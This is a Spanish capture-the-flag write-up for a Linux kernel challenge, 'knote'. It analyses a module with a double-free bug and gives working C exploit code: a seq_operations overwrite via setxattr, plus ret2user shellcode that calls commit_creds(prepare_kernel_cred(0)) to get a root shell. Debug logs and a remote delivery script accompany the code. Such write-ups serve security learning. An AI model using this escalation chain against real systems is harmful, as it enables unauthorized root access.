knote
15 minutos de lectura
Se nos proporciona un sistema de archivos Linux y algunos otros archivos comunes en retos de explotación de kernel:
$ tree
.
├── debug
│ ├── bzImage
│ ├── qemu-cmd
│ └── rootfs.img
├── knote.c
└── knote.ko
1 directory, 5 files
Este es debug/qemu-cmd
:
#!/bin/bash
timeout --foreground 35 qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel /home/ctf/bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd /home/ctf/rootfs.img \
-no-kvm \
-cpu qemu64 \
-smp cores=2
Básicamente es un comando para ejecutar la imagen del kernel con qemu
. Como se puede ver, KASLR está habilitado, pero no hay SMEP, SMAP o KPTI. Todo este conocimiento proviene de Learning Linux Kernel Exploitation - Part 1.
Análisis de código fuente
Esta vez, tenemos el código fuente en C del módulo de kernel (knote.c
):
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#define DEVICE_NAME "knote"
#define CLASS_NAME "knote"
MODULE_AUTHOR("r4j");
MODULE_DESCRIPTION("Secure your secrets in the kernelspace");
MODULE_LICENSE("GPL");
static DEFINE_MUTEX(knote_ioctl_lock);
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static int major;
static struct class *knote_class = NULL;
static struct device *knote_device = NULL;
static struct file_operations knote_fops = {
.unlocked_ioctl = knote_ioctl
};
struct knote {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
};
struct knote_user {
unsigned long idx;
char * data;
size_t len;
};
enum knote_ioctl_cmd {
KNOTE_CREATE = 0x1337,
KNOTE_DELETE = 0x1338,
KNOTE_READ = 0x1339,
KNOTE_ENCRYPT = 0x133a,
KNOTE_DECRYPT = 0x133b
};
struct knote *knotes[10];
void knote_encrypt(char *data, size_t len) {
int i;
for (i = 0; i < len; ++i)
data[i] ^= 0xaa;
}
void knote_decrypt(char *data, size_t len) {
knote_encrypt(data, len);
}
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
mutex_lock(&knote_ioctl_lock);
struct knote_user ku;
if (copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
return -EFAULT;
switch (cmd) {
case KNOTE_CREATE:
if (ku.len > 0x20 || ku.idx >= 10)
return -EINVAL;
char *data = kmalloc(ku.len, GFP_KERNEL);
knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
if (data == NULL || knotes[ku.idx] == NULL) {
mutex_unlock(&knote_ioctl_lock);
return -ENOMEM;
}
knotes[ku.idx]->data = data;
knotes[ku.idx]->len = ku.len;
if (copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
knotes[ku.idx]->encrypt_func = knote_encrypt;
knotes[ku.idx]->decrypt_func = knote_decrypt;
break;
case KNOTE_DELETE:
if (ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
knotes[ku.idx] = NULL;
break;
case KNOTE_READ:
if (ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
if (copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
break;
case KNOTE_ENCRYPT:
if (ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
break;
case KNOTE_DECRYPT:
if (ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
break;
default:
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
mutex_unlock(&knote_ioctl_lock);
return 0;
}
static int __init init_knote(void) {
major = register_chrdev(0, DEVICE_NAME, &knote_fops);
if (major < 0)
return -1;
knote_class = class_create(THIS_MODULE, CLASS_NAME);
if (IS_ERR(knote_class)) {
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
knote_device = device_create(knote_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
if (IS_ERR(knote_device)) {
class_destroy(knote_class);
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
return 0;
}
static void __exit exit_knote(void) {
device_destroy(knote_class, MKDEV(major, 0));
class_unregister(knote_class);
class_destroy(knote_class);
unregister_chrdev(major, DEVICE_NAME);
}
module_init(init_knote);
module_exit(exit_knote);
Parece un reto de explotación del heap pero en el kernel. El asignador de memoria es SLAB, que está bien documentado aquí y aquí.
El módulo define estas estructuras:
struct knote {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
};
struct knote_user {
unsigned long idx;
char * data;
size_t len;
};
enum knote_ioctl_cmd {
KNOTE_CREATE = 0x1337,
KNOTE_DELETE = 0x1338,
KNOTE_READ = 0x1339,
KNOTE_ENCRYPT = 0x133a,
KNOTE_DECRYPT = 0x133b
};
struct knote *knotes[10];
Es importante observar que knote
es una estructura de 0x20
bytes y knote_user
es una estructura de 0x18
bytes. Podemos asignar hasta 10 notas con hasta 0x20
bytes de datos.
Función de asignación
Mediante el comando KNOTE_CREATE
, ingresaremos esta opción:
case KNOTE_CREATE:
if (ku.len > 0x20 || ku.idx >= 10)
return -EINVAL;
char *data = kmalloc(ku.len, GFP_KERNEL);
knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
if (data == NULL || knotes[ku.idx] == NULL) {
mutex_unlock(&knote_ioctl_lock);
return -ENOMEM;
}
knotes[ku.idx]->data = data;
knotes[ku.idx]->len = ku.len;
if (copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
knotes[ku.idx]->encrypt_func = knote_encrypt;
knotes[ku.idx]->decrypt_func = knote_decrypt;
break;
Básicamente, podemos proporcionar datos para crear una nueva nota. Hay algo extraño porque si copy_from_user
da un error, entonces el chunk se libera.
Función de liberación
Al usar el comando KNOTE_DELETE
, tenemos:
case KNOTE_DELETE:
if (ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
knotes[ku.idx] = NULL;
break;
Simplemente verifica que la nota existe y luego usa kfree
para liberar tanto la nota como el chunk de datos. Al final, elimina el puntero usando knotes[ku.idx] = NULL
.
Si comparamos este procedimiento con el de KNOTE_CREATE
, el módulo no elimina el puntero. Por lo tanto, podemos obtener un double free llamando a KNOTE_CREATE
con un error y luego usando KNOTE_DELETE
.
Función de información
Este es KNOTE_READ
:
case KNOTE_READ:
if (ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
if (copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
break;
Nos permite copiar los datos de la nota en nuestra variable de usuario.
Hay dos funciones más que permiten cifrar/descifrar el campo de datos, pero no son relevantes para la explotación.
Configuración del entorno
Necesité modificar un poco el script qemu-cmd
para que se ejecute (por ejemplo, tuve que quitar la opción -no-kvm
(creo que ya está deshabilitada de forma predeterminada):
#!/bin/bash
qemu-system-x86_64 -s \
-m 128M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd rootfs.img \
-cpu qemu64 \
-smp cores=2
Además, agregué -s
para habilitar la depuración en el puerto 1234 y eliminé el timeout --foreground 35
, dado que esto solo importará al ejecutar el exploit en la instancia remota.
Para probar el exploit de kernel, descomprimiremos el sistema de archivos (rootfs.img
), agregaremos el exploit compilado y comprimiremos nuevamente el sistema de archivos antes de ejecutar qemu
.
En primer lugar, descomprimimos el sistema de archivos:
$ ls
bzImage qemu-cmd rootfs.img
$ file rootfs.img
rootfs.img: ASCII cpio archive (SVR4 with no CRC)
$ mkdir rootfs
$ cd rootfs
$ cpio -i < ../rootfs.img
2077 blocks
$ ls
bin dev flag init proc sbin tmp
bzImage etc home knote.ko qemu-cmd sys usr
$ cat flag
<FLAG WILL BE HERE>
Ahora podemos usar un script como este (go.sh
):
#!/usr/bin/env bash
musl-gcc -o solve -static ../solve.c
mv solve rootfs
cd rootfs
find . -print0 \
| cpio --null -ov --format=newc 2>/dev/null \
| gzip -9 > ../rootfs.img
cd ..
sh qemu-cmd
Y ya podemos comenzar a crear el exploit.
Estrategia de explotación
El error fue visto antes. Si ingresamos una dirección no válida en la estructura knote_user
, el módulo libera tanto el chunk de datos como la estructura knote
, pero no elimina el puntero a la estructura. Por lo tanto, con la opción KNOTE_FREE
podemos liberar nuevamente esta estructura porque el puntero todavía existe. Es decir, podemos lograr una vulnerabilidad de double free.
Es común en los exploits de kernel que implican el heap buscar estructuras que se ajusten en una determinada caché (esta vez, kmalloc-32
). Algunas de las estructuras útiles de kernel que se pueden usar para la explotación se enumeran en este artículo (aunque está en japonés). Se pueden encontrar más recursos sobre explotación de kernel en linux-kernel-exploitation.
En kmalloc-32
, hay una estructura útil llamada seq_operations
que tiene esta forma:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
Básicamente, contiene 4 punteros a funciones que se llaman cuando se activan ciertas operaciones. Con la vulnerabilidad de double free, podremos asignar esta estructura seq_operations
y sobrescribirla con otra estructura en el mismo lugar, para que podamos agregar punteros arbitrarios en la esrtuctura seq_operations
.
Como no hay SMEP, SMAP y KPTI, simplemente podemos agregar un poco de shellcode para regresar a userland y decirle al kernel que nos haga root
y ejecute una shell. Para eso, necesitaremos encontrar la dirección de prepare_kernel_cred
y commit_creds
, que están disponibles en /proc/kallsyms
. Modificaremos el archivo init
para iniciar sesión como root
, para poder leer los símbolos del kernel, agregando setsid cttyhack setuidgid 0 /bin/sh
:
#!/bin/sh
chown 0:0 -R /
chown 1000 /home/user
chmod 400 /flag
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t tmpfs tmpfs /tmp
sleep 1
insmod /knote.ko
chmod 744 /dev/knote
dmesg -n 1
chmod -R 777 /tmp/
cd /home/user
setsid cttyhack setuidgid 0 /bin/sh
cttyhack su -s /bin/sh user
poweroff -f
Ahora podemos obtener las direcciones relevantes:
/home/user # grep -E 'prepare_kernel_cred|commit_creds' /proc/kallsyms
ffffffff81053a30 T commit_creds
ffffffff81053c50 T prepare_kernel_cred
ffffffff816cd674 r __ksymtab_commit_creds
ffffffff816d110c r __ksymtab_prepare_kernel_cred
ffffffff816d78b4 r __kstrtabns_commit_creds
ffffffff816d78b4 r __kstrtabns_prepare_kernel_cred
ffffffff816d8e22 r __kstrtab_commit_creds
ffffffff816d8e62 r __kstrtab_prepare_kernel_cred
Además, estas direcciones están relacionadas con el módulo:
/home/user # grep knote /proc/kallsyms
ffffffffa0000040 t knote_ioctl [knote]
ffffffffa0002100 d knote_ioctl_lock [knote]
ffffffffa0002000 d knote_fops [knote]
ffffffffa0002418 b major [knote]
ffffffffa0002410 b __key.26552 [knote]
ffffffffa0002410 b knote_class [knote]
ffffffffa0001074 r _note_7 [knote]
ffffffffa00023c0 b knotes [knote]
ffffffffa0002140 d __this_module [knote]
ffffffffa0000020 t knote_decrypt [knote]
ffffffffa0000000 t knote_encrypt [knote]
Ahora podemos cambiarlo de nuevo a no privilegiado.
Desarrollo del exploit
Usaremos estas funciones auxiliares:
#define KNOTE_CREATE 0x1337
#define KNOTE_DELETE 0x1338
typedef struct {
unsigned long idx;
char* data;
size_t len;
} req_t;
int fd;
long create(unsigned long idx, char* data, size_t len) {
req_t req = { .idx = idx, .data = data, .len = len };
return ioctl(fd, KNOTE_CREATE, &req);
}
long delete(unsigned long idx) {
req_t req = { .idx = idx };
return ioctl(fd, KNOTE_DELETE, &req);
}
Para usar GDB, primero necesitamos extraer la imagen del kernel con una herramienta llamada extract-image.sh
:
$ file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 5.8.3 (raj@legion) #1 Fri Jul 16 02:24:20 IST 2021, RO-rootFS, swap_dev 0X1, Normal VGA
$ bash extract-image.sh bzImage > vmlinux
$ gdb -q vmlinux
Reading symbols from vmlinux...
(No debugging symbols found in vmlinux)
gef➤ gef-remote localhost 1234
0xffffffff810177c5 in ?? ()
[!] Command 'gef-remote' failed to execute properly, reason: Remote I/O error: Function not implemented
Comenzamos por abrir el dispositivo y creando una estructura knote
:
void open_device() {
if ((fd = open("/dev/knote", O_RDONLY)) < 0) {
puts("[-] Error opening device");
exit(1);
}
}
int main() {
open_device();
puts("[*] Creating knote structure...")
create(0, "asdf", 4);
return 0;
}
Ejecutamos el exploit:
~ $ /solve
[*] Creating knote structure...
Y en GDB podemos encontrar la estructura aquí:
gef➤ grep asdf
[+] Searching 'asdf' in memory
[+] In (0xffff88800009b000-0xffff888001000000), permission=rw-
0xffff8880003e004d - 0xffff8880003e0051 → "asdf"
[+] In (0xffff8880018d2000-0xffff88800750a000), permission=rw-
0xffff8880074b6d98 - 0xffff8880074b6d9c → "asdf[...]"
gef➤ grep 0xffff8880074b6d98
[+] Searching '\x98\x6d\x4b\x07\x80\x88\xff\xff' in memory
[+] In (0xffff888000000000-0xffff888000099000), permission=rw-
0xffff888000093c00 - 0xffff888000093c20 → "\x98\x6d\x4b\x07\x80\x88\xff\xff[...]"
gef➤ x/4gx 0xffff888000093c00
0xffff888000093c00: 0xffff8880074b6d98 0x0000000000000004
0xffff888000093c10: 0xffffffffa0000000 0xffffffffa0000020
Así que ahí tenemos la estructura knote
:
struct knote {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
};
Ahora, ocasionamos el bug y la vulnerabilidad de double free:
void bug() {
puts("[*] Triggering bug...");
if (create(0, (char*) 0xacdc1337, 4) != -1) {
puts("[-] Failed");
exit(1);
}
puts("[*] Triggering double free...");
if (delete(0) != 0) {
puts("[-] Failed");
exit(1);
}
}
int main() {
open_device();
bug();
puts("[*] Creating knote structure...");
create(0, "asdf", 4);
getchar();
create(1, "fdsafdsafdsafdsa", 16);
return 0;
}
Con el código anterior, esperamos que "fdsafdsafdsafdsa"
se almacene en la estructura actual (sobrescribiendo el puntero a "asdf"
).
Esto es antes de getchar()
:
~ $ /solve
[*] Triggering bug...
[*] Triggering double free...
[*] Creating knote structure...
gef➤ grep asdf
[+] Searching 'asdf' in memory
[+] In (0x400000-0x405000), permission=r--
0x40308d - 0x403091 → "asdf"
0x40408d - 0x404091 → "asdf"
[+] In (0xffff88800009b000-0xffff888001000000), permission=rw-
0xffff8880003e008d - 0xffff8880003e0091 → "asdf"
[+] In (0xffff8880018d2000-0xffff88800750b000), permission=rw-
0xffff8880074b6d98 - 0xffff8880074b6d9c → "asdf[...]"
gef➤ grep 0xffff8880074b6d98
[+] Searching '\x98\x6d\x4b\x07\x80\x88\xff\xff' in memory
[+] In (0xffff888000000000-0xffff888000099000), permission=rw-
0xffff888000093c00 - 0xffff888000093c20 → "\x98\x6d\x4b\x07\x80\x88\xff\xff[...]"
[+] In (0xffff888007514000-0xffff888007fe0000), permission=rw-
0xffff888007f33040 - 0xffff888007f33060 → "\x98\x6d\x4b\x07\x80\x88\xff\xff[...]"
gef➤ x/4gx 0xffff888000093c00
0xffff888000093c00: 0xffff8880074b6d98 0x0000000000000004
0xffff888000093c10: 0xffffffffa0000000 0xffffffffa0000020
gef➤ grep continue
Continuing.
Y después de getchar()
:
gef➤ x/4gx 0xffff888000093c00
0xffff888000093c00: 0xffff88800008c290 0x0000000000000010
0xffff888000093c10: 0xffffffffa0000000 0xffffffffa0000020
gef➤ x/s 0xffff88800008c290
0xffff88800008c290: "fdsafdsafdsafdsa.init.text"
Entonces, hemos explotado la vulnerabilidad de double free. Para verificarlo, podemos buscar el puntero a la estructura (debe almacenarse en la lista knotes
dos veces):
gef➤ grep 0xffff888000093c00
[+] Searching '\x00\x3c\x09\x00\x80\x88\xff\xff' in memory
[+] In (0xffff888007519000-0xffff888007fe0000), permission=rw-
0xffff8880075193c0 - 0xffff8880075193e0 → "\x00\x3c\x09\x00\x80\x88\xff\xff[...]"
0xffff8880075193c8 - 0xffff8880075193e8 → "\x00\x3c\x09\x00\x80\x88\xff\xff[...]"
[+] In (0xffffffffa0002000-0xffffffffa0004000), permission=rw-
0xffffffffa00023c0 - 0xffffffffa00023e0 → "\x00\x3c\x09\x00\x80\x88\xff\xff[...]"
0xffffffffa00023c8 - 0xffffffffa00023e8 → "\x00\x3c\x09\x00\x80\x88\xff\xff[...]"
gef➤ x/10gx 0xffff8880075193c0
0xffff8880075193c0: 0xffff888000093c00 0xffff888000093c00
0xffff8880075193d0: 0x0000000000000000 0x0000000000000000
0xffff8880075193e0: 0x0000000000000000 0x0000000000000000
0xffff8880075193f0: 0x0000000000000000 0x0000000000000000
0xffff888007519400: 0x0000000000000000 0x0000000000000000
Y ahí la tenemos en los índices 0
y 1
.
Lo anterior fue solo una prueba de concepto. Ahora vamos a asignar una estructura seq_operations
y a modificar sus punteros de la siguiente manera:
int main() {
open_device();
bug();
puts("[*] Creating seq_operations structure...");
int seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0) {
puts("[-] Error opening /proc/self/stat");
exit(1);
}
getchar();
char data[32];
memset(data, 'A', 32);
create(1, data, 32);
return 0;
}
Ejecutamos el exploit:
~ $ /solve
[*] Triggering bug...
[*] Triggering double free...
[*] Creating seq_operations structure...
gef➤ x/4gx 0xffff888000093c00
0xffff888000093c00: 0xffffffff810f17e0 0xffffffff810f1800
0xffff888000093c10: 0xffffffff810f17f0 0xffffffff811082e0
Arriba podemos ver la estructura seq_operations
, con los cuatro punteros. Si pasamos el getchar()
, provocaremos un kernel panic porque hemos modificado esos punteros con valores A
:
BUG: unable to handle page fault for address: ffffffff810f17f0
#PF: supervisor write access in kernel mode
#PF: error_code(0x0003) - permissions violation
PGD 181d067 P4D 181d067 PUD 181e063 PMD 10001e1
Oops: 0003 [#1] NOPTI
CPU: 0 PID: 29 Comm: solve Tainted: G O 5.8.3 #1
RIP: 0010:knote_ioctl+0x11d/0xfc0 [knote]
Code: 49 78 0c e1 4a 89 04 e5 c0 23 00 a0 48 85 db 0f 84 5a 01 00 00 48 8b 45 1
RSP: 0018:ffffc90000087ec0 EFLAGS: 00000286
RAX: ffffffff810f17f0 RBX: ffff888000093c00 RCX: 000000000000058c
RDX: 000000000000058b RSI: 0000000000000cc0 RDI: ffff888000090c00
RBP: ffffc90000087ee8 R08: ffff888007f33080 R09: ffffffff810f17f0
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000001
R13: 0000000000001337 R14: 00007fff73b05e80 R15: ffff88800013fa00
FS: 0000000000405b98(0000) GS:ffffffff81832000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffff810f17f0 CR3: 0000000007546000 CR4: 00000000000006b0
Call Trace:
ksys_ioctl+0x71/0xb0
__x64_sys_ioctl+0x19/0x20
do_syscall_64+0x40/0xb0
entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x4018b5
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 0
RSP: 002b:00007fff73b05e00 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00000000004012f1 RCX: 00000000004018b5
RDX: 00007fff73b05e80 RSI: 0000000000001337 RDI: 0000000000000003
RBP: 00007fff73b05ea0 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff73b05f38
R13: 00007fff73b05f48 R14: 0000000000000000 R15: 0000000000000000
Modules linked in: knote(O)
CR2: ffffffff810f17f0
---[ end trace 6e2cce25cacf035e ]---
RIP: 0010:knote_ioctl+0x11d/0xfc0 [knote]
Code: 49 78 0c e1 4a 89 04 e5 c0 23 00 a0 48 85 db 0f 84 5a 01 00 00 48 8b 45 1
RSP: 0018:ffffc90000087ec0 EFLAGS: 00000286
RAX: ffffffff810f17f0 RBX: ffff888000093c00 RCX: 000000000000058c
RDX: 000000000000058b RSI: 0000000000000cc0 RDI: ffff888000090c00
RBP: ffffc90000087ee8 R08: ffff888007f33080 R09: ffffffff810f17f0
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000001
R13: 0000000000001337 R14: 00007fff73b05e80 R15: ffff88800013fa00
FS: 0000000000405b98(0000) GS:ffffffff81832000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffff810f17f0 CR3: 0000000007546000 CR4: 00000000000006b0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled
Rebooting in 1 seconds..
En lugar de usar valores ficticios, usaremos la dirección de una función que usa shellcode para generar una shell. Esta configuración es necesaria para hacer una técnica ret2user (más información en lkmidas.github.io):
void shell() {
printf("[+] UID: %d\n", getuid());
close(seq_fd);
system("/bin/sh");
exit(0);
}
unsigned long bak_cs, bak_rflags, bak_ss, bak_rsp, bak_rip = (unsigned long) shell;
void backup() {
__asm__(
".intel_syntax noprefix;"
"mov bak_cs, cs;"
"mov bak_ss, ss;"
"mov bak_rsp, rsp;"
"pushf;"
"pop bak_rflags;"
".att_syntax;"
);
puts("[+] Registers backed up");
}
void shellcode() {
__asm__(
".intel_syntax noprefix;"
"mov rdi, 0;"
"movabs rbx, 0xffffffff81053c50;" // prepare_kernel_cred
"call rbx;"
"mov rdi, rax;"
"movabs rbx, 0xffffffff81053a30;" // commit_creds
"call rbx;"
"swapgs;"
"mov r15, bak_ss;"
"push r15;"
"mov r15, bak_rsp;"
"push r15;"
"mov r15, bak_rflags;"
"push r15;"
"mov r15, bak_cs;"
"push r15;"
"mov r15, bak_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
Observe que a pesar de que KASLR aparece habilitado en el script de qemu
, mientras se depuraba, no estaba habilitado. Por lo tanto, no hay necesidad de obtener una fuga de memoria para saltar KASLR, podemos usar la dirección fija de prepare_kernel_cred
y commit_creds
.
En lugar de usar create
para modificar los punteros de la estructura seq_operations
, podemos usar una forma más segura con setxattr
(que también aparece en el artículo japonés):
int main() {
void *shellcode_ptr = &shellcode;
backup();
open_device();
bug();
puts("[*] Creating seq_operations structure...");
seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0) {
puts("[-] Error opening /proc/self/stat");
exit(1);
}
printf("[*] Target function: %p\n", &shellcode);
setxattr("/proc/self/stat", "exploit", &shellcode_ptr, 32, 0);
read(seq_fd, NULL, 1);
return 0;
}
Y en este punto usaremos read
en el descriptor de archivo de la estructura seq_operations
para activar un puntero de la estructura, y así escalar privilegios a root
:
~ $ /solve
[*] Registers backed up
[*] Triggering bug...
[*] Triggering double free...
[*] Creating seq_operations structure...
[*] Target function: 0x401372
[+] UID: 0
/bin/sh: can't access tty; job control turned off
/home/user # cat /flag
<FLAG WILL BE HERE>
Flag
Ahora, vamos a por la instancia remota. Dado que hay poco tiempo, creé un script para copiar el exploit (comprimido y codificado en Base64) en el portapapeles con los comandos necesarios para ejecutarlo rápidamente:
#!/usr/bin/env bash
rm solve solve.gz solve.gz.b64 2>/dev/null
musl-gcc -o solve -static ../solve.c
gzip solve
base64 solve.gz > solve.gz.b64
for line in $(cat solve.gz.b64); do
echo "echo $line >> solve.gz.b64"
done
echo "
cat solve.gz.b64 | base64 -d > solve.gz; gzip -d solve.gz; chmod +x solve; ./solve
"
$ nc 139.59.188.60 31283
SeaBIOS (version rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org)
iPXE (http://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+07F8F130+07EEF130 CA00
Booting from ROM...
sh: can't access tty; job control turned off
~ $ echo echo H4sICBvkf2QAA3NvbHZlAOxaf3xTVZZ/aZOSQuEFLVgckOg+3EZEGlakUTr0SSo37gOrtIpQHGeL >> solve.gz.b64
...
~ $ echo U752f2OY/CO62X2aDq7P/7Fw+vpfyvMHdXA97uFh8v+O5//x9+TP0V3ZF99oWsE3SHAc1QoZ/mnj >> solve.gz.b64
~ $ echo CtcdT3cIcsVv2N2jO9mqL3/MMPm3/IHdjd/T//8LmQbrlUivAAA= >> solve.gz.b64
~ $
~ $ cat solve.gz.b64 | base64 -d > solve.gz; gzip -d solve.gz; chmod +x solve; ./solve
[*] Registers backed up
[*] Triggering bug...
[*] Triggering double free...
[*] Creating seq_operations structure...
[*] Target function: 0x401372
[+] UID: 0
/bin/sh: can't access tty; job control turned off
/home/user # cat /flag
cat /flag
HTB{2cdbf36398470b5428ea991d18502ef2}
El exploit completo se puede encontrar aquí: solve.c
.